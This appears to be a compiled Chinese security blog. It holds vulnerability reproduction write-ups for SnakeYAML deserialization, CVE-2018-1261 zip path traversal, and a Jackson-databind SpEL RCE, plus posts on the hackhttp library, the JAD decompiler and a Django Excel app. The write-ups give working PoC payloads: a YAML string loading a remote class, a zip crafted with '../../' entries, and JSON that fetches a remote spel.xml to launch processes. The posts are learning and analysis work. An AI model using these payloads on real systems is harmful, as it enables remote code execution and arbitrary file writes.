使用hackhttp框架重放数据包

0x00 关于hackhttp

hackhttp是一个GitHub上的开源项目。官方的简介是:hackhttp 是四叶草安全旗下 BugscanTeam 打造的一款 Python 语言的 HTTP 第三方库。是分布式漏洞扫描框架 BugScan 中核心库之一。

hackhttp 致力于帮助安全测试人员快速编写代码,除众多基础功能外,hackhttp 支持直接发送 HTTP 原始报文,开发者可以直接将浏览器或者 Burp Suite 等抓包工具中截获的 HTTP 报文复制后,无需修改报文,可直接使用 hackhttp 进行重放。

hackhttp 使用连接池技术,在应对大量请求时自动对连接进行复用,节省建立连接时间与服务器资源,这种天生的特性,在编写爬虫时尤为显著,测试用例中提供了一个爬取乌云所有漏洞的爬虫。

可以发现,hackhttp的核心代码存在与文件https://github.com/BugScanTeam/hackhttp/blob/master/hackhttp/hackhttp.py中(import 的模块均是Python的原生模块)。

0x01 小试hackhttp

save hackhttp.py.png

burp.png

  • 在Jupyter的notebook中重放BurpSuite抓取的数据包,Python脚本如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
import hackhttp
hh = hackhttp.hackhttp()
raw='''GET / HTTP/1.1
Host: 192.168.114.131:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:65.0) Gecko/20100101 Firefox/65.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=e3ddf82f35b66149fd856936ad03d6a3
Upgrade-Insecure-Requests: 1'''
code, head, html, redirect, log = hh.http('http://192.168.114.131:8080', raw=raw)
code
print html

执行结果如下图所示。

run script.png

我的网络安全技术博客(原创&改编)

反序列化

-Weblogic
-Jackson
-yaml.load
-防御反序列化漏洞

不安全解压

SQL注入

模板注入

文件上传

文件写入

敏感信息泄露

综合利用

Tomcat容器

杂项

yaml.load反序列化漏洞复现

0x00 正常的使用方式

代码如下:

1
2
3
4
5
6
7
8
9
10
import org.yaml.snakeyaml.Yaml;
public class Tester {
public static void main(String[] args) {
//正常的使用方式
String normal = "key: hello yaml";
Yaml yaml = new Yaml();
Object obj = yaml.load(normal);
System.out.print(obj);
}
}

注:所依赖的jar包的下载地址:Download snakeyaml-1.7.jar

控制台的打印结果如下:

1
{key=hello yaml}

0x01 漏洞复现

可触发反序列化漏洞的PoC代码如下:

1
2
3
4
5
6
7
8
9
10
import org.yaml.snakeyaml.Yaml;
public class Tester {
public static void main(String[] args) {
//可触发反序列化漏洞的使用方式
String malicious = "!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader "
+ "[[!!java.net.URL [\"http://127.0.0.1:8000\"]]]]";
Yaml yaml = new Yaml(); // Unsafe instance of Yaml that allows any constructor to be called.
Object obj = yaml.load(malicious); // Make request to http://attacker.com
}
}

在该PoC中,被Yaml对象的load方法调用的“yaml字符串”是被精心构造的恶意代码。在该PoC的反序列化过程中,会向http://127.0.0.1:8000发起网络请求。

复现步骤:
(1)搭建Python SimpleHTTPServer
如图所示:

SimpleHTTPServer.png

(2)运行PoC,观察运行结果

如图所示:

visit.png

由图可知,SimpleHTTPServer受到了访问GET请求,反序列化漏洞复现成功。

0x02 后记

好的链接

整理,更新ing……

How to use JAD?

0x00 前言

JAD是一个反编译Java class字节码的工具,我们可以用它批量地对进行反编译,本文将介绍它的使用步骤。

0x01 使用步骤示例

1) 下载

下载地址:https://varaneckas.com/jad/

(解压后即可使用,如果jad的版本太老旧,更容易出现“ Class file version mismatch”错误;我下载的是“jad158g.win”)

2) 解压jar包

把jar包的后缀改为zip,并进行解压,如图所示。

Extract Jar

(我把jar包放在了“JAD”的根目录下)

3) 执行jad.exe的命令

我执行的命令如下:

1
jad.exe -r -ff -d src -s java folder/**/*.class

这条命令的注释如下:

1
2
3
4
5
6
-r:恢复源文件的目录结构
-ff:将类属性定义放在类方法定义之前
-d:输出目录
src:此处的src是输出目录的名称
-s:文件的扩展名
folder:.class文件所在的文件夹

执行命令的过程如图所示:

Run JAD

执行结果如图所示:

Result

我们可以发现,Java源文件已经按原来的目录结构被恢复了。接着也可以使用IntelliJ IDEA来审计这个jar包的源码了,如图所示。

IDEA

CVE-2018-1261(Spring Integration Zip不安全解压漏洞)复现和分析

0x00 前言

本文参考了一些资料对CVE-2018-1261进行了复现与分析,内容包括了漏洞情况简介、漏洞复现、漏洞复现结果分析、总结反思以及参考链接。如有谬误还请指正!如有其他建议,请您多多指教!

0x01 漏洞情况简介

漏洞名称:Spring Integration Zip不安全解压

漏洞编号:CVE-2018-1261

漏洞级别:严重(官方定级,比高危还高)[1]

漏洞描述:在spring-integration-zip.v1.0.1.RELEASE之前的版本中,恶意用户通过在压缩文件中构造包含有特定文件名称的文件(受影响文件格式有bzip2, tar, xz, war, cpio, 7z),应用程序使用spring-integration-zip进行解压时,会导致跨目录任意写入文件漏洞的攻击。进而有可能被Getshell,远程控制。

漏洞原理:攻击者可以通过构造一个包含名称带../前缀的文件的压缩包,在spring-integration-zip进行解压时文件跳出解压文件的目录限制,创建文件。

漏洞利用前置条件:

  1. 使用了spring-integration-zip库

  2. 接收并解压了来自不可信来源的压缩文件[2]

0x02 漏洞复现

PoC的核心代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import org.springframework.core.io.DefaultResourceLoader;
import org.springframework.core.io.Resource;
import org.springframework.core.io.ResourceLoader;
import org.springframework.integration.support.MessageBuilder;
import org.springframework.integration.zip.transformer.UnZipTransformer;
import org.springframework.messaging.Message;

import java.io.File;
import java.io.InputStream;

public class Main {
private static ResourceLoader resourceLoader = new DefaultResourceLoader();
private static File path = new File("./CVE-2018-1261/");
public static void main(final String... args) {
final Resource evilResource = resourceLoader.getResource("classpath:testzipdata/test1.zip");
try{
InputStream evilIS = evilResource.getInputStream();
Message<InputStream> evilMessage = MessageBuilder.withPayload(evilIS).build();
UnZipTransformer unZipTransformer = new UnZipTransformer();
//设置解压文件的目录为CVE-2018-1261
unZipTransformer.setWorkDirectory(path);
unZipTransformer.afterPropertiesSet();
//漏洞入口点
unZipTransformer.transform(evilMessage);
}catch (Exception e){
System.out.println(e);
}
}
}

PoC所依赖的jar包由Maven进行配置[3]:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<dependency>
<groupId>org.springframework.integration</groupId>
<artifactId>spring-integration-core</artifactId>
<version>4.3.10.RELEASE</version>
</dependency>
<dependency>
<groupId>org.springframework.integration</groupId>
<artifactId>spring-integration-file</artifactId>
<version>4.3.10.RELEASE</version>
</dependency>
<dependency>
<groupId>org.springframework.integration</groupId>
<artifactId>spring-integration-zip</artifactId>
<version>1.0.0.RELEASE</version>
</dependency>
<dependency>
<groupId>org.zeroturnaround</groupId>
<artifactId>zt-zip</artifactId>
<version>1.10</version>
</dependency>

PoC所调用的“testzipdata/test1.zip”由这段Python脚本生成[4]:

1
2
3
4
5
6
7
8
9
10
11
import zipfile

if __name__ == "__main__":
try:
binary = b'ddddsss'
zipFile = zipfile.ZipFile("test1.zip", "a", zipfile.ZIP_DEFLATED)
info = zipfile.ZipInfo("test1.zip")
zipFile.writestr("../../dddwwtest.txt", binary)
zipFile.close()
except IOError as e:
raise e

注:将“testzipdata/test1.zip”放在IDEA工程的“target\classes”目录下。

PoC的运行结果如图所示。

PoC的运行结果

我们可以发现文件../../dddwwtest.txt没有被解压到文件夹原定的解压路径,而文件dddwwtest.txt被解压到了工程的根目录。漏洞复现成功。

0x03 漏洞复现结果分析

为了进一步理解漏洞的原理,现在进行断点调试[5]。

在漏洞的入口点设置断点,并Step Into这行代码,如图所示。

调试-漏洞入口点

接着Step Into这行代码,如图所示。

StepIntoAbstractTransformer.transform

接着Step Into这行代码,如图所示。

AbstractZipTransformer.doTransform

此时,我们可以发现UnZipTransformer.doZipTransform()方法被用来处理压缩包,如图所示。

UnZipTransformer.doZipTransform

通读doZipTransform()方法的代码可以发现,在遍历压缩包内目录及文件时,回调ZipEntryCallback中的process()方法对其进行处理,如图所示。

ZipEntryCallback-process

通读process()方法的代码,并对这一行代码设置断点:

1
final File destinationFile = new File(tempDir, zipEntryName);

接着并观察变量的具体值,我们可以发现这一行代码这里没任何过滤就进行文件路径和文件名的拼接,如图所示。

路径拼接

为了更直观地观察变量的变化,还可以运用Watches监视器来监视这些表达式的变化:workDirectory.getCanonicalPath()destinationFile.getCanonicalPath()destinationFile.getAbsolutePath(),如图所示。

Watches

我们可以发现在执行完第132行后,destinationFile.getCanonicalPath()随即变成了D:\cve_workspace\XX\dddwwtest.txt,而不是destinationFile.getAbsolutePath()D:\cve_workspace\XX\.\原定的解压路径\3a1ba461-fc75-f4b6-1aa1-26c3e9ad0d4d\..\..\dddwwtest.txt

getAbsolutePath()方法返回的是文件的绝地路径,而getCanonicalPath()方法也是返回文件的绝对路径,但会去除[..]这样的符号,即返回的是标准的绝地路径。因此可以推断:漏洞CVE-2018-1261的成因与getCanonicalPath()方法有关。

在这里看一下官方的漏洞修复,官方的漏洞修复增加了checkpath()个路径检测方法,如图所示:

checkpath

我们可以发现:官方的漏洞修复做了这个判断:如果字符串destinationFile.getCanonicalPath()的开头不与字符串workDirectory.getCanonicalPath()匹配,则抛出异常,不予解压。

0x04 总结反思

  • Zip不安全解压漏洞有可能被用于getshell、或选择覆盖掉一些配置文件[6],不应忽视;
  • 运用 Maven 管理Java PoC所依赖的Jar包,有助于提高搭建漏洞复现环境的效率;
  • 运用Watches等IntelliJ IDEA的调试工具,有助于提高Debug效率。

0x05 参考链接

[1] Gyyyy.Spring Integration Zip不安全解压(CVE-2018-1261)漏洞分析[EB/OL].[2018-5-19].https://mp.weixin.qq.com/s/SJPXdZWNKypvWmL-roIE0Q.

[2] 水清云影.【代码审计】Spring Integration Zip不安全解压(CVE-2018-1261)漏洞分析[EB/OL].[2018-5-19].http://www.cnblogs.com/sqyysec/p/9038892.html.

[3] 等想出来再取.使用IntelliJ IDEA 配置Maven(入门)[EB/OL].[2016-5-20].https://blog.csdn.net/qq_32588349/article/details/51461182.

[4] 羊小弟.Spring Integration Zip不安全解压(CVE-2018-1261)漏洞复现[EB/OL].[2018-5-19].https://www.cnblogs.com/yangxiaodi/p/9036916.html.

[5] 重复的生活.调试中的step into step over step out[EB/OL].[2014-10-22].https://blog.csdn.net/yagamil/article/details/40372979.

[6] k1n9.Java 文件解压的安全问题[EB/OL].[2017-12-9].http://k1n9.me/2017/12/09/java-sec-in-decompress/.

可实现"导入导出Excel"的Django小应用

####前言

小编实现了一个“可实现导入导出Excel的Django小应用”。这篇文档是学习记录,请亲们帮我指正!

小应用的GitHub网址如下:
https://github.com/chenergy1991/P_QQ_Management

####文章主要结构

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
1 功能简介
2 开发环境搭建
3 开发要点
3.1 建立项目
3.2 建立应用
3.3 处理模型层
3.3.1 配置项目INSTALLED_APPS
3.3.2 模型定义
3.3.3 生成数据移植文件
3.3.4 移植到数据库
3.4 使用管理界面
3.5 添加Excel导入功能
3.6 添加Excel导出功能
3.7 在其他电脑使用该Django小应用
4 小总结
5 一些参考资料

####1.功能简介

可实现"导入导出Excel"的Django小应用(以下简称“小应用”)具有如下功能点:

  1. 可对装有QQ用户信息的Excel进行使用Python脚本导入;
  2. 可对QQ用户信息进行人工录入;
  3. 可对QQ用户信息库进行数据库操作;
  4. 可对装有QQ用户信息的Excel进行程序导出

该版本的主要工作流如图所示。

####2.开发环境搭建

我选用的开发环境如下:

1
2
3
操作系统:Windows Server 2008 R2 Datacenter
Python版本:Python 2.7.13
IDE:JetBrains PyCharm 2018.3.1

在进行开发环境搭建时,主要要进行以下两个步骤:

  1. 安装Python环境
  2. 安装PyCharm

####3.开发要点

本节的主要内容为:

  1. 3.1-3.4小节介绍为“小应用”加入“QQ用户信息”的管理模块,使得用户可以运用Django框架的自带管理界面对“QQ用户信息”进行“增删改查”
  2. 3.5小节介绍为“小应用”加入”导入Excel功能”,使得用户可以将“满足格式要求的,包含QQ用户信息的Excel”导入“QQ用户信息库”;
  3. 3.6小节介绍为“小应用”加入”导出Excel功能”,使得用户可以运用Django框架的自带管理界面对QQ用户信息进行“Excel(CSV)导出”。

#####3.1建立项目

在PyCharm的File/New Project新建Django项目,如图所示。

比如我建了一个名为P_QQ_Management的项目。

#####3.2建立应用

每个Django项目可以包含多个Django应用。为了建立应用,可以使用PyCharm的Tools/Run manage.py Task...,如图所示。

比如说,我们想要创建一个名为QQUser的应用,在这个终端执行命令startapp QQUser,如图所示。

我们可以发现一个名为QQUser的应用在根目录生成了。

#####3.3处理模型层

设计模型可分为以下4个步骤:

  1. 配置项目INSTALLED_APPS
  2. 模型定义
  3. 生成数据移植文件
  4. 移植到数据库

######3.3.1 配置项目INSTALLED_APPS

要在P_QQ_Management项目中的setting.py中告诉Django需要安装应用app的模型,方法是打开
P_QQ_Management/settings.py文件,找到其中的INSTALLED_APPS数组,在其中添加应用的名称QQUser,如图所示。

######3.3.2 模型定义

打开P_QQ_Management/QQUser/models.py文件,在其中新建一个模型类QQUser用来定义“QQ用户信息”,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from django.db import models
USER_TYPE_CHOICE = (
('黑名单', '黑名单'),
('白名单', '白名单'),
('未归档', '未归档'),
)

class QQUser(models.Model):
QQ = models.CharField("QQ号", max_length=15)
NickName = models.CharField("QQ昵称", max_length=30)
UserType = models.CharField("用户类型", choices=USER_TYPE_CHOICE, default=USER_TYPE_CHOICE[2], max_length=50)

class Meta:
verbose_name = u'QQ管理表'
verbose_name_plural = u"QQ管理表"

用户的模型对应着这么一张Excel表,如图所示。

######3.3.3 生成数据移植文件

为了生成数据库移植文件,使用PyCharm的Tools/Run manage.py Task...,接着运行命令makemigrations,如图所示。

######3.3.4 移植到数据库

在模型的修改过程中可以随时调用makemigrations生成中间移植文件。而当需要使移植文件生效、生成真实的数据库schema时,则需要调用manage.py的migrate命令是修改同步到数据库中。为此,使用PyCharm的Tools/Run manage.py Task...,接着运行命令migrate,如图所示。

此时,我们可以发现Django已经依据QQUser/models.py里定义的模型帮我们建好了数据表。

在模型设计好后,可对之进行数据库的“增删改查”操作,而使用Django的管理界面实现这一目标将会很便捷。

#####3.4使用管理界面

Django管理界面是一个通过简单配置就可以实现数据模型后台的Web控制台。管理界面通常给系统管理员使用,以完成元数据的输入、删除、查询等工作。

首先需要将管理界面需要管理的模型类添加到P_QQ_Management/QQUser/admin.py文件中,代码如下:

1
2
3
4
5
6
7
8
9
# -*- coding: utf-8 -*-
from __future__ import unicode_literals
from django.contrib import admin
from .models import QQUser

class QQUserExcelToolAdmin(admin.ModelAdmin):
list_display = ('QQ','NickName','UserType')
search_fields = ('QQ','NickName','UserType')
admin.site.register(QQUser, QQUserExcelToolAdmin)

在第一次使用管理员界面之前,需要通过manage.py工具的createsuperuser命令建立管理员用户,在命令运行的过程中按照提示输入管理员的用户名、邮箱地址、密码。如图所示。

此时,我们可以启动Django网站,并访问默认的管理员界面,如图所示。

接着,我们可以借由该管理后台对数据库进行增删改查了,如图所示。

为小程序加入“QQ用户信息”的管理模块的部分介绍完毕。接下来将介绍如何为小程序添加Excel信息导入功能。

#####3.5 添加Excel导入功能

为了将Excel里的QQ用户信息导入数据库,编写如下python脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#-*-coding:utf-8 -*-
import os
os.environ.setdefault("DJANGO_SETTINGS_MODULE", "P_QQ_Management.settings")
import django
django.setup()

from QQUser.models import QQUser
import xlrd

def import_qq_excel():
try:
# 数据源:test-file.xls
data = xlrd.open_workbook("test-file.xls")
# 第一章工作表
table = data.sheets()[0]
nrows = table.nrows
print("开始将QQ信息导入数据库!")
for i in range(1, nrows):
item = table.row_values(i)
# QQ号:位于工作表第1列
QQ = str(int(item[0]))
print(QQ)
# 昵称:位于工作表第2列
NickName = item[1]
# 用户类别::位于工作表第3列
UserType = item[2]
# 创建QQUser对象
qqUser = QQUser(QQ = QQ, NickName = NickName, UserType = UserType)
# 将QQUser对象保存到数据库中
qqUser.save()
print("QQ信息导入成功")
except Exception as e:
print(str(e))

if __name__ == '__main__':
import_qq_excel()

在PyCharm执行这段脚本时,(使用鼠标右键点击代码编辑区,在弹出的菜单中点击Run 'import_qq_excel'),如图所示。

系统会提示No module named xlrd,缺少“xlrd”这个模块。

为了运行这段脚本,可以使用pip命令安装xlrd这个模块,如图所示。

继续在PyCharm中执行这段脚本时,即可将Excel导入数据库,如图所示。

在Django的管理平台中可以发现,Excel被存入数据库中了,如图所示。

#####3.6 添加Excel导出功能

为了使得用户可以对“QQ用户信息”进行“Excel(CSV)导出”,可以仿造博客《Django admin后台导出Excel表格》进行编码和配置,所实现出的效果如图所示。

我的做法如下:

(1)编写csvutil.py,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
# -*- coding: utf-8 -*-
import csv, codecs
from django.http import HttpResponse
import sys
reload(sys)
sys.setdefaultencoding('utf8')

def export_as_csv_action(description='Export selected objects as CSV file', fields=None, exclude = None, header = True):
def export_as_csv(modeladmin, request, queryset):
opts = modeladmin.model._meta
if not fields:
field_names = [field for field in opts]
else:
field_names = fields

response = HttpResponse(content_type='text/csv')
response.write(codecs.BOM_UTF8)
response['Content-Disposition'] = 'attachment; filename={}.csv'.format(opts.verbose_name.encode('utf-8'))
writer = csv.writer(response)
if header:
cn_field_names = ['QQ', '昵称', '用户类别']

writer.writerow(cn_field_names)
for obj in queryset:
#row = [getattr(obj, field)() if callable(getattr(obj, field)) else getattr(obj, field) for field in field_names]
#新增处理功能,比如处理时间的显示格式
row = []
for field in field_names:
value = getattr(obj, field).encode("utf8")
# if (field == 'publishing_time'):
# value = str(value)
# if isinstance(value, datetime.datetime):
# value = value.strftime('%y-%m-%d')
row.append(value)
writer.writerow(row)
return response
export_as_csv.short_description = description
return export_as_csv

(2)在admin.py中导入QQUser.csvutil的函数export_as_csv_action,修改后的admin.py的代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# -*- coding: utf-8 -*-
from __future__ import unicode_literals
from django.contrib import admin
from .models import QQUser
# 导入函数export_as_csv_action
from QQUser.csvutil import export_as_csv_action


class QQUserExcelToolAdmin(admin.ModelAdmin):
list_display = ('QQ','NickName','UserType')
search_fields = ('QQ','NickName','UserType')
# 添加函数export_as_csv_action,自定义action
actions = [export_as_csv_action('导出表格',fields=['QQ', 'NickName', 'UserType'])]
# 注册后台显示相应model信息:
admin.site.register(QQUser, QQUserExcelToolAdmin)

注:如果遇到“Django导出excel中文乱码解决方案”的问题,可以参照博客《Django导出excel中文乱码解决方案》。

#####3.7 在其他电脑使用该Django小应用

为了在其他电脑使用该Django小应用,可以采用以下方式:

(1)将当前电脑下的Django小应用进行打包,生成P_QQ_Management.zip,如图所示。

(2)到目标电脑解压“P_QQ_Management.zip”,如图所示。

(3)使用PyCharm的File/Open打开该工程,如图所示。

(4)使用PyCharm的“File/Settings…”为该工程设置“Project Interpreter”,如图所示。

(5)使用PyCharm的Terminal如下执行脚本:

1
D:\P_QQ_Management>python manage.py migrate

执行结果如图所示。

注:在执行这个命令的时候,可能会遇到“NameError: name ‘reload’ is not defined 问题”,此时可以参阅博客:https://blog.csdn.net/github_35160620/article/details/52206868。

(6)在PyCharm中启动P_QQ_Management项目,如图所示。

####4.小总结

  • “Python”(中文翻译“蟒蛇”)名副其实,在处理一些小问题时,显得“简单粗暴”;
  • “Django”的ORM(Object Relational Mapping,对象关系映射)做得比较高效;
  • Django默认使用的数据库为“SQLite”,对于小型工程,可以直接使用之,省去部分环境配置。我们也可以为Django项目应用“MySQL”数据库,参考链接已放在文末的“一些参考资料”。

####5.一些参考资料

CVE-2017-7275:Jackson-databind漏洞复现与分析笔记

0x00 前言

这篇学习笔记包含了CVE-2017-7275的漏洞原理概述、实验环境搭建、漏洞复现、漏洞分析等主要环节。如有谬误,请您帮我指正!如有其他建议,请您多多指教!

0x01 漏洞原理概述

《漏洞通告】Jackson-databind远程命令执行漏洞通告(CVE-2017-7525)》[1]指出,Jackson是一个开源的java序列化与反序列化工具,可以将java对象序列化为xmljson格式的字符串或将两种文件反序列化为相应的对象。

Jackson-databind存在远程命令执行漏洞,因Jackson反序列化漏洞(CVE-2017-7525)采用黑名单的方法修复程序,CVE-2017-17485在开启enableDefaultTyping()的前提下可以通过Jackson-databind来滥用Spring spel来执行任意命令。

0x02 实验环境搭建

  • 操作系统:Win 7 x64
1
2
3
JDK 1.8.0_151
apache-maven-3.3.3
IntelliJ IDEA 2017.1.3

实验的测试环境是:https://github.com/irsl/jackson-rce-via-spel

为了搭建该测试环境,需要安装软件项目管理工具Maven,搭建过程可参考《Spring框架的反序列化远程代码执行漏洞分析》[2];

0x03 漏洞复现

  • 导入maven结构的web工程

导入的过程可参考《IntelliJ IDEA如何导入maven结构的web工程》[3];导入后的结果如图所示:
CVE-2017-7275

APP.java.png

  • 将App.main()方法的“Program arguments”设置为“test-exploit.json”

设置的过程如图所示:

test-exploit.json.png

  • 运行App.main()方法

运行的结果如图所示:

calc.png

我们可以发现,计算器被弹出了。

0x04 漏洞分析

攻击的实施需要依靠Jackson的反序列化Spring表达式语言SpEL的引用Bean。在这里做一个比喻(可能不是很恰当)。如果说这样的攻击方式是“披着羊皮的狼”的话,那么“Json文件名”充当了“羊皮”而被精心构造的“Json代码”与“SpEL”则充当了狼。而在“Java虚拟机中反序列化”相当于“引狼入室”。

  • Jackson反序列化

通过Jackson反序列化,可以将Json反序列化为Java对象。刚刚的漏洞复现工程就包含了Json反序列化的过程。

例如,我们可以在刚刚的漏洞复现的工程中将App.main()方法的“Program arguments”设置为“test-legit.json”。test-legit.json的内容如下:

1
{"id":123}

运行的结果则如图所示:

test-legalit.json.png

我们可以发现,test-legit.json被反序列化成inner类的对象i,并且i的id属性值为“123”。

  • Spring表达式语言SpEL的引用Bean

SpEL(Spring Expression Language)可用于引用Bean。《Spring学习笔记–Spring表达式语言SpEL》[4]这篇文章对“SpEL”讲解得不错。

为了了解“SpEl”,我们可以在刚刚的漏洞复现工程里创建这样一个Test.java文件,其代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
package com.qcct.myspring;

import org.springframework.context.ApplicationContext;
import org.springframework.context.support.ClassPathXmlApplicationContext;
import java.lang.ProcessBuilder;

/**
* Created by JJ on 2018/1/12.
*/
public class Test {
public static void main(String[] args) {
ApplicationContext context = new ClassPathXmlApplicationContext("spel.xml");
ProcessBuilder pb = (ProcessBuilder) context.getBean("pb");
}
}

而Test.java调用的spel.xml的内容如下:

1
2
3
4
5
6
7
8
9
10
11
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="
http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd
">
<bean id="pb" class="java.lang.ProcessBuilder">
<constructor-arg value="mspaint.exe" />
<property name="whatever" value="#{ pb.start() }"/>
</bean>
</beans>

这段代码的执行结果如图所示:

mspaint.exe.png
我们可以发现“画图”被打开了。ProcessBuilder被SpEL引用了。

  • 分析test-exploit.json

test-exploit.json的内容如下:

1
{"id":123, "obj": ["org.springframework.context.support.FileSystemXmlApplicationContext", "https://raw.githubusercontent.com/irsl/jackson-rce-via-spel/master/spel.xml"]}

我们可以发现,这个Json里有类名org.springframework.context.support.FileSystemXmlApplicationContext。于是我们可以从“External Libraries”查看这个类的源码。如图所示:

FileSystemXmlApplicationContext.png

我们还可以了解这个类的继承关系,如图所示:

DiagramForFileSystemXmlApplicationContext.png

类的继承关系一目了然了。

在博客[4]中,我发现了在引用Bean时,可以借助Spring框架的ApplicationContext接口中的getBean方法。其核心代码如下:

1
2
3
4
5
public static void main(String[] args) {
ApplicationContext context = new ClassPathXmlApplicationContext("spring-idol.xml");
Poet poet = (Poet) context.getBean("poet");
poet.recite();
}

于是我审查了ApplicationContext等接口的源码,后来在BeanFactory接口中发现了返回类型为ObjectgetBean方法,如图所示:

Diagram.png

我们也可以在getBean方法处设置断点,接着进行Debug,我们可以发现程序会停在断点处。这也说明了该JAVA反序列化远程命令执行漏洞getBean方法息息相关。

0x05 反思

  • Apachen Maven是不错的软件项目管理工具,可方便他人复现漏洞,值得继续学习;
  • 有时可以借助IntelliJ IDEA的Show Diagram Popup这个功能来观察类和接口的继承关系,以对所审计的代码有更直观的把握。

0x06 参考链接

[1]漏洞通告】Jackson-databind远程命令执行漏洞通告(CVE-2017-7525)

[2]Spring框架的反序列化远程代码执行漏洞分析

[3]IntelliJ IDEA如何导入maven结构的web工程

[4]Spring学习笔记–Spring表达式语言SpEL